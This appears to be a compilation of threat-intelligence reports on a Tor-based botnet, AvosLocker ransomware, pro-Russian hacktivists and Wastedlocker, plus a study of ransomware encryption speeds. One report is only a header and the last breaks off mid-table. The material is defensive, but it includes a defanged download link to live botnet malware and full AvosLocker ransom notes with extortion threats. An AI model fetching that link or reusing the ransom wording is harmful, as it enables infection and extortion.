# Large Botnet Cause of Recent Tor Network Overload Recently, Roger Dingledine described a sudden increase in Tor users on the Tor Talk mailing list. To date, there has been a large amount of speculation as to why this may have happened. A large number of articles seem to suggest this to be the result of the recent global espionage events, the evasion of the Pirate Bay blockades using the PirateBrowser, or the Syrian civil war. At the time of writing, the amount of Tor clients actually appears to have more than quintupled already. The graph shows no signs of a decline in growth. An alternative recurring explanation is the increased usage of botnets using Tor, based on the assertion that the increase appears to consist of mostly new users to Tor that apparently are not doing much given the limited impact on Tor exit performance. In recent days, we have indeed found evidence which suggests that a specific and rather unknown botnet is responsible for the majority of the sudden uptick in Tor users. A recent detection name that has been used in relation to this botnet is “Mevade.A”, but older references suggest the name “Sefnit”, which dates back to at least 2009 and also included Tor connectivity. We have found various references that the malware is internally known as SBC to its operators. Previously, the botnet communicated mainly using HTTP as well as alternative communication methods. More recently, and coinciding with the uptick in Tor users, the botnet switched to Tor as its method of communication for its command and control channel. The botnet appears to be massive in size as well as very widespread. Even prior to the switch to Tor, it consisted of tens of thousands of confirmed infections within a limited amount of networks. When these numbers are extrapolated on a per country and global scale, these are definitely in the same ballpark as the Tor user increase. Thus, one important thing to note is that this was an already existing botnet of massive scale, even prior to the conversion to using Tor and .onion as command and control channel. As pointed out in the Tor weekly news, the version of Tor that is used by the new Tor clients must be 0.2.3.x, due to the fact that they do not use the new Tor handshake method. Based on the code, we can confirm that the version of Tor that is used is 0.2.3.25. The malware uses command and control connectivity via Tor .onion links using HTTP. While some bots continue to operate using the standard HTTP connectivity, some versions of the malware use a peer-to-peer network to communicate (KAD based). Typically, it is fairly clear what the purpose of malware is, such as banking, click fraud, ransomware, or fake anti-virus malware. In this case, however, it is a bit more difficult. It is possible that the purpose of this malware network is to load additional malware onto the system and that the infected systems are for sale. We have, however, no compelling evidence that this is true, so this assumption is merely based on a combination of small hints. It does, however, originate from a Russian spoken region and is likely motivated by direct or indirect financial related crime. This specific version of the malware, which includes the Tor functionality, will install itself in: `%SYSTEM%\config\systemprofile\Local Settings\Application Data\Windows Internet Name System\wins.exe` Additionally, it will install a Tor component in: `%PROGRAMFILES%\Tor\Tor.exe` A live copy for researchers of the malware can be found at: `hxxp://olivasonny.no-ip.biz/attachments/tc.c1` This location is regularly updated with new versions. **Related md5 hashes:** 2eee286587f76a09f34f345fd4e00113 (August 2013) c11c83a7d9e7fa0efaf90cebd49fbd0b (September 2013) **Related md5 hashes from non-Tor version:** 4841b5508e43d1797f31b6cdb83956a3 (December 2012) 4773a00879134a9365e127e2989f4844 (January 2013) 9fcddc45ae35d5cdc06e8666d249d250 (February 2013) b939f6ef3bd292996f97aa5786757870 (March 2013) 47c8b85a4c82ed71487deab68de196ba (March 2013) 3e6eb9f8d81161db44b4c4b17763c46a (April 2013) a0343241bf53576d18e9c1329e6a5e7e (April 2013) Thank you to our partners for the help in investigating this threat. ProtACT Team & InTELL Team
# AvosLocker Ransomware Этот крипто-вымогатель шифрует данные бизнес-пользователей и компаний с помощью AES-256, а затем требует выкуп в BTC, чтобы вернуть файлы. Оригинальное название: AvosLocker. На файле написано: нет данных. ## Обнаружения: - **DrWeb**: Trojan.Encoder.34160, Trojan.Encoder.34232, Trojan.Encoder.34361 - **ALYac**: Trojan.Ransom.Avaddon, Trojan.Ransom.AvosLocker - **Avira (no cloud)**: TR/Cryptor.gxzkf, TR/Cryptor.aviyo - **BitDefender**: DeepScan:Generic.Ransom.BTCWare.AB3FFEB6, Trojan.GenericKD.46739893 - **ESET-NOD32**: A Variant Of Win32/Filecoder.OHU - **Kaspersky**: HEUR:Trojan-Ransom.Win32.Cryptor.gen - **Malwarebytes**: Ransom.Avaddon, Ransom.AvosLocker - **Microsoft**: Ransom:Win32/Avaddon.P!MSR, Ransom:Win32/Avaddon - **Rising**: [email protected] (RDML:4Ey*) - **Symantec**: Ransom.AvosLocker, Ransom.AvosLocker!gm1 - **TrendMicro**: Ransom_Avaddon.R002C0DGJ21, Ransom_Cryptor.R002C0PH721 ## Информация для идентификации Активность этого крипто-вымогателя была в начале июля 2021 г. Ориентирован на англоязычных пользователей, может распространяться по всему миру. За зашифрованным файлам добавляется расширение: .avos. Записка с требованием выкупа называется: GET_YOUR_FILES_BACK.txt. ### Содержание записки о выкупе: **Attention!** Your files have been encrypted using AES-256. We highly suggest not shutting down your computer in case encryption process is not finished, as your files may get corrupted. In order to decrypt your files, you must pay for the decryption key & application. You may do so by visiting us at hxxx://avos2fuj6olp6x36.onion. This is an onion address that you may access using Tor Browser which you may download at hxxxs://www.torproject.org/download/. Details such as pricing, how long before the price increases and such will be available to you once you enter your ID presented to you below in this note in our website. Hurry up, as the price may increase in the following days. Message from agent: If you fail to respond in 4 days, the cost of decryption will double up and we will leak some of your data. In 10 days, we will leak all the data we have. Your ID: 35b1fc*** [totally 64 characters] ### Перевод записки на русский язык: **Внимание!** Ваши файлы были зашифрованы с использованием AES-256. Мы рекомендуем не выключать компьютер, если процесс шифрования не завершен, т.к. ваши файлы могут быть повреждены. Чтобы расшифровать ваши файлы, вы должны заплатить за ключ дешифрования и приложение. Вы можете сделать это, посетив нас по адресу hxxx://avos2fuj6olp6x36.onion. Это onion-адрес, к которому вы можете получить доступ через браузер Tor, который можно скачать на hxxxs://www.torproject.org/download/. Информация, такая как цена, время до её повышения и т.д., будет вам доступна, когда вы введете свой ID, показанный ниже в этом примечании, на нашем сайте. Спешите, в ближайшие дни цена может вырасти. Сообщение от агента: Если вы не ответите за 4 дней, цена расшифровки удвоится, и мы выложим некоторые ваши данные. После 10 дней мы выложим все данные, которые у нас есть. Ваш ID: 35b1fc *** [всего 64 символа] ## Ошибки в записке Ошибки в записке говорят о том, что английский неродной язык для автора текста. Или кто-то умышленно имитирует незнание английского языка. ## Содержание текст на сайте: **AvosLocker** Ваша сеть и жесткие диски зашифрованы шифрованием военного уровня AES-256. AvosLocker поможет вам вернуть пострадавшие файлы. Введите ваш ID (показанный вам в записке), чтобы продолжить. Отсутствие контакта с нами может повлечь за собой дополнительные расходы и ущерб. Ваш ID *** ## Технические детали + IOC Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. ## Список типов файлов, подвергающихся шифрованию: Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. Файлы, связанные с этим Ransomware: GET_YOUR_FILES_BACK.txt - название файла с требованием выкупа; <random>.exe - случайное название вредоносного файла. ### Расположения: \Desktop\ -> \User_folders\ -> \%TEMP%\ -> C:\Users\User\AppData\Local\Temp\43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856.exe ### Записи реестра, связанные с этим Ransomware: См. ниже результаты анализов. Мьютексы: См. ниже результаты анализов. Сетевые подключения и связи: Сообщение на сайте Cafedreed: hxxxs://cafedread.com/post/avoslocker-ransomware-accepting-affiliates-ef5f80c705df9a407db3 Tor-URL: hxxx://avos2fuj6olp6x36.onion XMPP: [email protected] Email: [email protected] XMR (Monero): *** См. ниже в обновлениях другие адреса и контакты. ### Результаты анализов: - **IOC**: VT, HA, IA, TG, AR, VMR, JSB - **MD5**: d285f1366d0d4fdae0b558db690497ea - **SHA-1**: f6f94e2f49cd64a9590963ef3852e135e2b8deba - **SHA-256**: 43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856 - **Vhash**: 045056655d15556093z52z57nz1fz - **Imphash**: a24c2b5bf84a5465eb75f1e6aa8c1eec Степень распространённости: низкая. Информация дополняется. Присылайте образцы. Некоторые другие образцы можно найти на сайте BA: https://bazaar.abuse.ch/browse/tag/AvosLocker/ ## История семьи ### Блок обновлений **Вариант от 4 августа 2021**: Расширение: .avos Записка: GET_YOUR_FILES_BACK.txt Tor-URL: hxxx://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad.onion Файл: potter.exe Результаты анализов: IOC: VT, AR, MD5: fe977e2028bbb774952df319042e3cab **Вариант от 26 сентября 2021**: Расширение: .avos2 Записка: GET_YOUR_FILES_BACK.txt Результаты анализов: IOC: VT, TG MD5: b76d1d3d2d40366569da67620cf78a87 **Обнаружения**: - **DrWeb**: Trojan.Encoder.34361 - **BitDefender**: Gen:Variant.Doina.23104 - **ESET-NOD32**: A Variant Of Win32/Filecoder.OHU - **Malwarebytes**: Ransom.AvosLocker - **Microsoft**: Ransom:Win32/AvosLocker.PAC!MTB - **Symantec**: ML.Attribute.HighConfidence - **TrendMicro**: Possible_SMAVOSLOCKERTHA **Вариант от 31 октября 2021**: Расширение: .avos2 Записка: GET_YOUR_FILES_BACK.txt Результаты анализов: VT, TG MD5: 937232f73c1db87b7dd29e098d4395f6 ### Содержание записки: **AvosLocker** **Attention!** Your systems have been encrypted, and your confidential documents were downloaded. In order to restore your data, you must pay for the decryption key & application. You may do so by visiting us at hxxx://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad.onion. This is an onion address that you may access using Tor Browser which you may download at https://www.torproject.org/download/. Details such as pricing, how long before the price increases and such will be available to you once you enter your ID presented to you below in this note in our website. Contact us soon, because those who don't have their data leaked in our press release blog and the price they'll have to pay will go up significantly. The corporations whom don't pay or fail to respond in a swift manner have their data leaked in our blog, accessible at hxxx://avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad.onion. Additional notes from attackers responsible: Hello, All your data in the company is encrypted and your important company data is backed up. I do not need money, I receive payments from many companies every day and I deal with the encryption of many companies every day. More important than money is time for me. For this reason, I have time to inflate the number and bargain like other friends who do this business. The offer I have made for your company is very reasonable and not a big deal for you. If you do not pay, the data of the company that we have backed up after 7 days will be shared publicly on the internet and you will not be able to recover any of your encrypted data. Your ID: f693e9975cce46c932683e090474fdd0f0bf9024e38737a58490a69af******* **Вариант от 29 октября 2021**: Статья на сайте BC Версии: Avos2 и AvosLinux **Новость декабря 2021**: Операторы AvosLocker используют PDQ Deploy, легитимный инструмент развертывания для автоматизации управления исправлениями, чтобы разместить несколько пакетных сценариев Windows на целевой машине, что помогает им подготовить почву для атаки. Эти сценарии изменяют или удаляют ключи реестра, принадлежащие определенным инструментам безопасности конечных точек, включая Windows Defender и продукты от Kaspersky, Carbon Black, Trend Micro, Symantec, Bitdefender и Cylance. Подробнее в статье на сайте BleepingComputer. ### 2022 **Вариант от 10 января 2022**: Статья на сайте BleepingComputer Подробный анализ Названия: AvosLocker, AvosLinux Расширение: .avoslinux Записка: README_FOR_RESTORE Алгоритм шифрования: Salsa20 Класс файла: ELF64 Результаты анализов: IOC: VT + AR **Обнаружения**: - **DrWeb**: Linux.Encoder.126 - **Avast**: ELF:Filecoder-DC [Trj] - **Avira (no cloud)**: LINUX/FileCoder.olrti - **BitDefender**: Trojan.Linux.Generic.237462 - **ESET-NOD32**: A Variant Of Linux/Filecoder.AvosLocker.A - **Kaspersky**: HEUR:Trojan-Ransom.Linux.Agent.p - **Microsoft**: Ransom:Linux/AvosLocker.A!MTB - **Rising**: Ransom.FileCryptor!8.1A7 (CLOUD) - **Symantec**: Trojan.Gen.NPE - **TrendMicro**: Trojan.Linux.ZYX.USELVAB22 ### Блок ссылок и спасибо **Thanks**: Michael Gillespie, dnwls0719 Andrew Ivanov (article author) to the victims who sent the samples © Amigo-A (Andrew Ivanov): All blog articles. Contact.
# Pro-Russian Hacktivist Groups Target Ukraine Supporters As the war in Ukraine rages on, unseen but related battles occur daily across the globe. These confrontations stem from pro-Russian hacktivist groups targeting countries that support Ukraine, likely with support from the Kremlin. These hacktivists have been targeting a wide swath of industries and sectors, including aviation, energy, financial, government and public safety, technology, media, and telecommunications. Hacktivism is the combination of hacking (unauthorized access to or control over computer network security systems for some illicit purpose) and political activism. Because of this, hacktivists have social and political agendas as opposed to hackers who commit cyber crimes for profit and often times infamy. It should be noted that many pro-Russian hacktivists are also likely to be hackers responsible for attacks across enterprises and governments. ## Pro-Russian Hacktivist Activity The pro-Russian hacktivist groups targeting governments and organizations that oppose Russia's stance on the war in Ukraine have been observed using several cyber tactics, including DDoS attacks, network intrusion, and stealing personally identifiable information (PII). In July and August 2022, numerous hacktivist groups accelerated their nefarious activities. The most impactful Ukrainian-specific incidents conducted by major pro-Russian hacktivist groups detected by Intel 471 were: - **Народная Cyberармия (Eng. People's CyberArmy) aka CyberArmyRussia**: The faction conducted multiple DDoS attacks against entities in Europe and Ukraine across many industries, targeting Ukrainian news outlets and local government websites. Their most significant targets were in August when group members attacked the website of Ukraine's nuclear power company, Energoatom. The cyberattack came as tensions flared over the Zaporizhzhia power plant in the south of Ukraine, occupied by Russian forces since March 2022. They also targeted the European Space Agency following news that Finnish company ICEYE agreed to provide the Ukrainian government access to the SAR satellite constellation to fight against Russian aggression. CyberArmyRussia members continue to proclaim their opposition to the "West, European Union, and Ukraine" and release pro-Russian propaganda articles and videos in addition to website breach announcements. - **FRwL Team, aka From Russia with Love, Z Team**: Group members published the personal data of people who support Ukraine or oppose the actions of Russia. They also allegedly publish classified Ukrainian and U.S. documents as hacktivist resources. - **KillNet**: Gang members attacked the RuTor forum (a predominantly Russian-speaking underground forum), which they claim is sponsored by the Ukrainian government. NBP Hackers joined the effort to disable the RuTor forum and called for other hackers to participate. KillNet also claims the Security Service of Ukraine (SBU) paid them one million rubles (about $16,000 US) to stop an attack against the RuTor forum. On August 17, 2022, KillNet claimed responsibility for extensive cyberattacks in Estonia shortly after government officials decided to remove Soviet-era monuments near the border with Russia. KillNet also allegedly blocked access to over 200 private and Estonian state institutions, including banks, government organizations, payment systems, and public services. - **NBP Hackers**: This group released personal information of Ukraine's government officials and high-profile personas perceived as enemies of Russia. They also encourage the hacking community to join their efforts in disabling the RuTor forum, adding to the efforts of the KillNet gang. - **NoName057(16)**: This hacktivist group, the most active of the groups on this list, conducted multiple DDoS attacks against entities in Norway, prompted by the decision of Norwegian authorities to block Russian cargo to the Svalbard archipelago. In addition, members attacked numerous companies from the financial and government sectors in Lithuania, apparently due to the country's ban on transporting goods and cargo to the Kaliningrad region of Russia. The gang also conducted massive attacks on the Polish government and transportation sectors, including airports in Kraków, Warsaw, and Wrocław, the gas pipeline EuRoPol, the logistics company PKP Cargo, and defense weapon and military equipment provider Polski Holding Obronny. Last but by no means least, group members attacked various Finnish, Latvian, and Polish government agencies all considered to be sympathetic to the Ukrainian effort. Due to the very nature of state-sponsored cyber attacks, there is limited conclusive evidence that the Kremlin is directing or supporting the aforementioned hacktivism. Although the link likely exists and state-sponsored hacking is nothing new, the Kremlin will be sure to distance itself from any malign activity so as not to risk breaching NATO's Collective Defence treaty, Article 5. In any case, companies, enterprises, and governments should limit their attack surface, ensure that software patching is conducted routinely, and invest in increased threat detection capabilities in the face of Russian cyber aggression.
# DoNot Team (APT-C-35) Analysis of Latest Campaign **Date:** February 2, 2023 **Tags:** APT-C-35, DoNot Team, malware analysis **Categories:** Report
# An Empirically Comparative Analysis of Ransomware Binaries ## Executive Summary Security researchers and network defenders have written extensively on ransomware, yet many organizations continue to react tactically to such attacks rather than with mindful intent. This is due in part to the lack of ground truth knowledge about ransomware. Ransomware encryption speed is one area that merits further study. To date, the most comprehensive information on this subject comes from the LockBit ransomware authors themselves, who provide a comparison of ransomware family encryption speeds on their website to advertise that they are the "fastest." This paper aims to illuminate an area of study that was previously left to criminals. Utilizing the scientific method in a controlled environment, we measured the speed at which 10 variants of popular ransomware malware encrypted nearly 100,000 files, totaling nearly 53GB, across different Windows operating systems and hardware specifications. Through this work, we hope to give defenders more knowledge and confidence to move "left of boom" with their detections rather than waiting to detect during the "actions on objective" phase discussed in the Lockheed Martin Cyber Kill Chain whitepaper. To determine the speed of ransomware encryption, we created a modified version of the Splunk Attack Range lab environment to execute 10 samples of each of the 10 ransomware variants on four hosts. Two hosts ran the operating system Windows 10 and the other two hosts ran Windows Server 2019. We chose to attribute the ransomware samples to each variant by only selecting samples confirmed by Microsoft Defender Antivirus in VirusTotal. We assigned each host "high" or "mid" level resources to test how ransomware would behave with different processors, memory, and hard drive configurations. We enabled Windows logging on each host to collect, synthesize, and analyze the data in Splunk. This allowed us to measure how fast the ransomware variants encrypted nearly 100,000 files and how the ransomware utilized system resources like processor, memory, and disk. After running all one hundred ransomware samples, we determined the total time to encrypt (TTE) varied from four minutes to three and a half hours with a median speed of 42 minutes. This narrow timeline provides a limited window for organizations to effectively respond before encryption is complete. When comparing identical ransomware strains across systems with different resources, we found some variables could impact TTE, such as processor speeds or CPU cores. However, the impact was inconsistent, implying that some ransomware was single-threaded or minimally able to take advantage of additional resources. LockBit ransomware was the fastest variant to encrypt on any system. This aligns with previous reports that LockBit only encrypts 4KB of each file, rendering the file unusable and expediting the attack. The title of "fastest ransomware" also matches the LockBit developer's own public claims on the group’s Tor website. SURGe plans to build upon this research to create a comprehensive, high-level overview of ransomware for network defenders. In particular, we plan to review the file access techniques of multiple ransomware samples using open-source file analysis framework tools like s toQ, fuzzy algorithms, and Splunk's Machine Learning Toolkit (MLTK). Furthermore, we plan to investigate claims that modern ransomware is not masked with packers and determine if it is possible to cluster to-be-determined classifiers of unknown ransomware binaries as they are "deployed" rather than detect them after execution. We plan to release the dataset for this research at .conf 22 in June of 2022. We encourage researchers to investigate this corpus and validate or build upon our findings to help the global community of blue teamers. ## Key Findings - LockBit ransomware performed the fastest out of 10 ransomware variants in our testing, which aligns with the ransomware group’s claims on their Tor site. - The median time for ransomware variants to encrypt across a corpus of 98,561 files measuring 53.83 GB was 42 minutes and 52 seconds. - Individual ransomware samples varied greatly in encryption speed, ranging from four minutes to three and a half hours. - Improved hardware capabilities provided some ransomware samples with faster encryption speeds. Other samples and variants were unable to take advantage of the increased resources, and at times they performed worse on the systems with higher specifications. Additional memory did not have a significant effect on encryption speed for any of the samples. Higher disk speeds may play a role in faster execution, but most likely in combination with a variant that can take advantage of additional CPU cores. ## Introduction In the 2021 M-Trends report, Mandiant found that 25% of their investigations in 2020 involved ransomware, up from 14% in 2019. The Verizon Data Breach Investigations Report (DBIR) of 2021 states that ransomware doubled in frequency from 2019 to 2021. Although relatively new in the public consciousness, this style of malware has afflicted the world since it was first introduced at an AIDS conference in 1989 via floppy disks. The previously mentioned M-Trends report states that in the Americas, ransomware has a median dwell time of three days. A dwell time of three days does not sound ideal, but there is a long-held perception that ransomware has a shorter dwell time of mere hours or even minutes. If the median dwell time is measured in days and not hours, defenders have a small window of opportunity to take action. In 2021, CERT NZ published a whitepaper that outlines the lifecycle of ransomware with recommendations to help organizations combat this growing threat. This work by CERT NZ and the three-day dwell time cited by Mandiant led us to question how organizations can actively defend against ransomware. Before we began looking at defensive methodologies, we decided to first investigate two questions: - Primarily, how long do ransomware strains take to encrypt a host? - Can an organization recover or prevent the complete encryption of file systems? Reverse engineers have done great work to learn why some ransomware strains are so fast to encrypt. With the exception of an advertisement from the Lockbit ransomware group, we were unable to find any empirical study that compares the speed of encryption among different ransomware families. This paper outlines our analysis of the dynamically evaluated encryption speed for 10 ransomware families and provides some suggestions for blue teamers to better inform their defenses. It should be noted that this paper does not aim to create ransomware detections. Rather, our objective is to inform defenders of the holistic truth of ransomware encryption speeds. ## Setting the Stage We started to brainstorm our hypothesis with unbounded questions about how fast ransomware encrypts and how organizations can move “left of boom” if the ransomware encrypts quicker than expected. We began by synthesizing our questions to a single hypothesis: If an adversary gains access to a system and deploys ransomware, then encryption will occur faster than network defenders can realistically prevent. The Verizon DBIR states that the majority of organizations detect breaches days after an adversary gains access to a system, rather than hours or minutes. To test our hypothesis, we needed to create a lab for repeated testing, gather samples of different ransomware binaries, and then analyze our findings. We also desired to conduct this research in a manner that catered to blue teamers. Thus, we chose not to perform static reverse engineering work on the malware binaries, but instead executed them dynamically in a controlled environment and measured them against the same variables. We plan to include a detailed explanation of our methodology and technical process in future blogs, papers, and conference presentations. In this section of the whitepaper, we explain how we framed our experiment to test our hypothesis. We also detail the high-level architecture, configuration of our malware lab, and how and why we sourced our malware. Finally, we set out any known assumptions in our research and analysis that may present bias in our findings. ## Methodology To test our hypothesis, we needed to execute a variety of ransomware strains in a controlled environment, gather native Windows performance telemetry data back from endpoint hosts, and analyze the data. We selected 10 ransomware families with 10 separate binaries from each of those families in order to prevent clustering illusion, the tendency to see patterns where none exist, and confirmation bias, the tendency to seek out information that supports one's beliefs. For each Windows endpoint type and resource specification, a single Amazon Web Services (AWS) Virtual Private Cloud (VPC) was created for each family and each individual binary ran on its own host specifically created for its evaluation. The results were forwarded to a central Splunk instance for analysis. Every host had 98,561 files placed in 100 directories. These file types were sourced from the Digital Corpora and deemed by the authors to be the most likely file types for ransomware binaries to encrypt. These files were made available under the CC0 license and sourced from public U.S. government websites. Finally, we enabled Event ID 4663 on Windows hosts in order to see encryption on files and baseline the speed of each ransomware family. ## The Lab As previously mentioned, the research was conducted against ransomware binaries executed in a controlled environment. The performance of the ransomware was gathered using native Windows auditing and logging capabilities that forwarded the results back to a Splunk instance. Details on the telemetry setup are covered in more detail in the Experiment Procedure section. Each ransomware sample ran inside an independent, self-contained environment. The Splunk instance in each ransomware environment forwarded the events to a single Splunk instance for comparing, analyzing, and reporting. We created the lab by modifying Splunk’s open-source Attack Range tool for our experiment. Attack Range allows network defenders to dynamically create small networks in AWS with Splunk software and logging preconfigured using a combination of Terraform and Ansible. The hosts on this range had specifications that aligned with many modern laptop or server builds according to organizations that we gathered anecdotal feedback from and popular websites like PC Mag. These hosts had Microsoft Defender uninstalled, and no additional anti-virus (AV) or endpoint detection and response (EDR) tools installed. We installed additional tools including a Splunk agent to send information back to Splunk and the Microsoft application Sysmon. Finally, to detect any worming or remote mapped file encryption, these hosts were joined to a Windows domain with an open network share (C Drive) on the domain controller. More information about the host specifications and the logging configurations can be found in the appendices A and B. In order to capture file encryption events, we enabled object level auditing on the test directory and all sub-directories for both successful and failed access attempts. By enabling object level auditing, Event Code 4663 events were generated each time the ransomware binary attempted to encrypt a file. The final 4663 event to conclude a successful encryption of a file was DELETE, which is what we used to track encryption speed. While this event was seen consistently across the families we tested, this DELETE event may not be present in other families. If this is the case, a different marker might be needed to measure TTE. ## Experiment Procedure To best emulate modern ransomware campaigns, we executed the ransomware across 10 Windows 10 hosts and 10 Windows Server 2019 hosts via a remote PowerShell script located on the Windows Server 2019 Domain Controller. This remote PowerShell method was used to initiate the ransomware infection as opposed to a user having to manually execute the binary. This methodology had the added benefit of emulating modern ransomware campaigns where ransomware is executed by human operators via scripts rather than by victims on desktops. Furthermore, it reduced some overhead of “human interaction,” which allowed the ransomware to utilize more system resources than would have otherwise been available. We did not pass any flags to the ransomware when it executed. The only ransomware variant that we executed in a different manner was Babuk, as it would not run reliably using the remote PowerShell method, and we therefore started Babuk interactively on each host. Two different hardware profiles for each operating system were used to evaluate ransomware performance. The exact specifications for these profiles can be found in Appendix B. The PowerShell script allowed us to select the ransomware sample we wanted to run. The script would then iterate through the number of Windows 10 or Windows Server 2019 hosts in the domain and initiate downloads of the ransomware binaries via a remote web server. Each test run was either on a Windows 10 or Windows Server host, never both at the same time. When the download finished on each host, the PowerShell script launched each ransomware binary remotely, except for Babuk. We were then able to analyze the speed that each variant encrypted files using Windows security event logs. Event Code 4663 (an attempt was made to access an object) was required to capture the encryption events reliably. We enabled file system auditing for the 100 test directories on the Windows 10 and Windows Server 2019 hosts in order to generate the required event logs. ## The Ransomware Binaries The 100 ransomware samples across 10 ransomware families were sourced from VirusTotal. We solely leveraged Microsoft Defender detections from VirusTotal for ransomware family attribution. The ransomware families were selected due to their prevalence over the past 12 to 24 months. ## Results The answer to our initial question of how fast ransomware encrypts showed a large variance between ransomware families. We wanted to understand the encryption speed and duration for each sample as well as the median speed and duration across the families themselves. Using the median value as opposed to the average/mean value prevented small numbers of outliers from skewing the overall results of a particular family. As we collected Windows Perfmon data during our testing, we observed that some families utilized increased system resources better than others. Some of the families were very efficient, while others tended to utilize large percentages of CPU time along with very high disk access rates. There was no direct correlation between a sample using a larger amount of system resources with a faster encryption speed. Some ransomware families performed worse, or even crashed, when deployed on the faster test systems. On a per sample basis, the fastest encryption time across the 98,561 test files observed was 4 minutes and 9 seconds. This was performed by lockbit-9.exe on a Windows 2019 Server high specification instance. Conversely, the slowest encryption time observed for the same test file set was 3 hours, 35 minutes and 8 seconds. This was performed by babuk-5.exe on a Windows 10 mid specification instance. When we look at the median encryption duration across each family tested we found that although a single sample of Babuk was the slowest ransomware to encrypt, the Babuk family as a whole was the second fastest with a duration of 6 minutes and 34 seconds. LockBit was still the fastest overall at 5 minutes and 50 seconds. The slowest median encryption time per family was Mespinoza (PYSA) with a median duration time of 1 hour, 54 minutes, and 54 seconds. Overall, the median encryption duration across all ransomware families was 42 minutes and 52 seconds. | Family | Median Duration | |---------------------------|------------------| | LockBit | 00:05:50 | | Babuk | 00:06:34 | | Avaddon | 00:13:15 | | Ryuk | 00:14:30 | | Revil | 00:24:16 | | BlackMatter | 00:43:03 | | Darkside | 00:44:52 | | Conti | 00:59:34 | | Maze | 01:54:33 | | Mespinoza (PYSA) | 01:54:54 | | Average of the median | 00:42:52 | The average median duration demonstrates a limited window of time to respond to a ransomware attack once the encryption process is underway. This can prove even more limiting considering that the catastrophic apex may be when a single critical file is encrypted, rather than the whole of the victim’s data. With such factors in play, it may prove to be extremely difficult, if not impossible, for the majority of organizations to mitigate a ransomware attack once the encryption process begins. While detection and defensive capabilities are beyond the scope of this research, all is not lost for those looking to defend themselves against ransomware attacks. We took care to ensure our methodology for capturing this data didn’t influence the outcome of the data we collected. However, we were limited in our ability to measure the latency that these tools, such as Sysmon and constrained Object Level Auditing, may have introduced. We don’t believe these tools caused any significant latency that would drastically alter the findings in our research. Future research that focuses on ransomware encryption speeds may wish to ensure that there is a means of measuring the latency that tooling may introduce. Finally, we recognize that the attribution of ransomware samples to “families” can be difficult. In order to ensure consistent bias of sample selection for this research, we compared the hashes of each sample with Microsoft Defender results obtained from VirusTotal. The signature name was extracted and then normalized. We then used the resulting normalized value to identify the specific ransomware family. ## Conclusions and Further Work The goal of this research was to empirically evaluate the encryption speed of common ransomware families across a variety of operating systems and hardware specifications in order to determine if organizations could realistically react in time for effective mitigation. Based on our median results, our findings indicated a total loss of data via ransomware encryption occurs in under 43 minutes. The encryption and loss of data is the “actions on objective” of the formerly mentioned Lockheed Martin Cyber Kill Chain. Forty-three minutes is an extremely limited window of opportunity for mitigation, especially considering that the average time to detect compromise is three days, as the Mandiant M-Trends report found. As a result, we postulate that it’s unlikely many organizations can prevent a total loss of data from ransomware. If an organization wishes to defend against ransomware, it’s clear that they need to move left on the cyber kill chain and detect on delivery or exploitation rather than actions on objective. We are hopeful that findings from this research can help network defenders better explore and identify potential opportunities for mitigation. It should also be noted that although we configured our lab to detect wormable behavior by the ransomware samples, the majority of samples had no such behavior. Future research will explore worming behavior in further depth. Our research does not stop with this work. We plan to release this corpus of information on the Splunk BOSS Platform to enable additional areas of research that warrant exploration. More specifically, we hope to evaluate the patterns that ransomware exhibits when encrypting files, ransomware worming behavior, how to cluster similar ransomware binaries based on fuzzy hashing algorithms, and future analysis of ransomware family attribution over time. ## Acknowledgments Research like this takes more than just the primary and secondary investigators to create. A special thanks to Allie Mellen, Mark Harris, David French, Ryan Kovar, Audra Streetman, Marcus LaFerrera, Mick Baccio, Dave Herrald, Drew Church, Johan Bjerke, John Stoner, Tamara Chacon, Kelcie Bourne, Scott Roberts, Adam Swanda, Michael Haag, and the authors of the Splunk Attack Range from the Splunk Threat Research Team (STRT).
# MVISION Insights: Wastedlocker Ransomware ## Environment IMPORTANT: This Knowledge Base article discusses a specific threat that is being automatically tracked by MVISION Insights technology. The content is intended for use by MVISION Insights users but is provided for general knowledge to all customers. Contact us for more information about MVISION Insights. ## Summary ### Description of Campaign The Evil Corp eCrime group, also known as Indrik Spider, released a new ransomware family known as WastedLocker which uses AES and RSA encryption. A customized string is appended to encrypted files consisting of the company's name and the word "wasted." A ransom note is dropped in each infected file and states the victim must contact the threat actor at one of two email addresses. The ransom demand can reach into the millions of dollars. The group behind WastedLocker is known to also be the same group that has distributed malware in the past, including ransomware, banking trojans, and botnets. ### How to use this article: 1. If a Threat Hunting table has been created, use the rules contained to search for malware related to this campaign. 2. Review the product detection table and confirm that your environment is at least on the specified content version. To download the latest content versions, go to the Security Updates page. 3. Scroll down and review the "Product Countermeasures" section of this article. Consider implementing them if they are not already in place. 4. Review KB91836 - Countermeasures for entry vector threats. 5. Review KB87843 - Dynamic Application Containment rules and best practices. 6. Review KB82925 - Identify what rule corresponds to an Adaptive Threat Protection and Threat Intelligence Exchange event. ## Campaign IOC | Type | Value | |--------|---------------------------------------------------------------------------------------------| | SHA256 | BCDAC1A2B67E2B47F8129814DCA3BCF7D55404757EB09F1C3103F57DA3153EC8 | | SHA256 | AA05E7A187DDEC2E11FC1C9EAFE61408D085B0AB6CD12CAEAF531C9DCA129772 | | SHA256 | 85F391ECD480711401F6DA2F371156F995DD5CFF7580F37791E79E62B91FD9EB | | SHA256 | 5CD04805F9753CA08B82E88C27BF5426D1D356BB26B281885573051048911367 | | SHA256 | 817704ED2F654929623D9D3E4B71CE0082EF4EADB3FE2D80C726E874DC6952A3 | | SHA256 | 887AAC61771AF200F7E58BF0D02CB96D9BEFA11DEDA4E448F0A700CCB186CE9D | | SHA256 | 8897DB876553F942B2EB4005F8475A232BAFB82A50CA7761A621842E894A3D80 | | SHA256 | ED0632ACB266A4EC3F51DD803C8025BCCD654E53C64EB613E203C590897079B3 | | SHA256 